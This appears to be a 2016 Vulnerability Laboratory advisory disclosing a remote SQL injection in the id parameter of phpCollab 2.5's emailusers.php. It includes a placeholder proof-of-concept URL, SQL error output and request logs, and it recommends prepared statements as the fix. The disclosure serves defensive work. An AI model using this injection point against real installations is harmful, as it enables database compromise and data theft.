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phpCollab CMS 2.5 SQL Injection

phpCollab CMS 2.5 SQL Injection
Posted Aug 8, 2016
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

phpCollab CMS version 2.5 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 43b648645b26b3230959e93601c4a555c9c5df4d3ae856a1879667e515dca3a6

phpCollab CMS 2.5 SQL Injection

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Document Title:
===============
phpCollab v2.5 CMS - SQL Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1898


Release Date:
=============
2016-08-08


Vulnerability Laboratory ID (VL-ID):
====================================
1898


Common Vulnerability Scoring System:
====================================
6.6


Product & Service Introduction:
===============================
phpCollab is an open source internet-enabled system for use in projects that require collaboration over the internet. Those organizations,
such as consulting firms, that rely on a division between firm-side and client-side information will benefit most from use of phpCollab.


Abstract Advisory Information:
==============================
The vulnerability laboratory research team discovered a remote sql-injection web vulnerability in the official phpCollab v2.5 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-08-08: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
phpCollab Community
Product: phpCollab - Content Management System 2.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql-injection web vulnerability has been discovered in the official phpCollab v2.5 content management system.
The vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.

The sql-injection vulnerability is located in the `id` parameter of the `./phpcollab/users/` module GET method request.
Remote attackers are able to execute own sql commands by usage of the insecure `emailusers.php` file GET method request.
The attack vector of the vulnerability is application-side and the request method to inject is GET The vulnerability
is a classic select remote sql-injection.

The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.6.
Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./phpcollab/users/

Vulnerable File(s):
[+] emailusers.php

Vulnerable Parameter(s):
[+] id


Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerability can be exploited by remote attackers without privileged web-application user account and without user interaction.
For security demonstration or to reproduce the sql-injection web vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
http://phpcollab.localhost:8080/phpcollab/users/emailusers.php?id=1'[SQL-INJECTION VULNERABILITY!]&&PHPSESSID=ghtu76jt276nji04lua07930t5


--- Error Exception Logs [SQL] ---
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
-
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2
-
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 3


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://phpcollab.localhost:8080/phpcollab/users/emailusers.php?id=1%27&&PHPSESSID=ghtu76jt276nji04lua07930t5
Mime Type[text/html]
Request Header:
Host[phpcollab.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Cookie[PHPSESSID=ghtu76jt276nji04lua07930t5; _pk_id.2.bb5e=7b20cb9175a196a9.1470585617.1.1470586689.1470585617.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1470585617%2C%22http%3A%2F%2Fphpcollab.localhost:8080%2Fdemo%2F1%2F394%2FStash%22%5D; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html]
Transfer-Encoding[chunked]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]


Reference(s):
http://phpcollab.localhost:8080/
http://phpcollab.localhost:8080/phpcollab/
http://phpcollab.localhost:8080/phpcollab/users/
http://phpcollab.localhost:8080/phpcollab/users/emailusers.php


Solution - Fix & Patch:
=======================
The vulnerability can be patched by usage of a prepared statement in the emailusers.php file GET method request.
Disallow special chars and escape the input and outpit context entries to prevent further sql-injection attacks.


Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the id parameter of the emailusers.php file is estimated as high. (CVSS 6.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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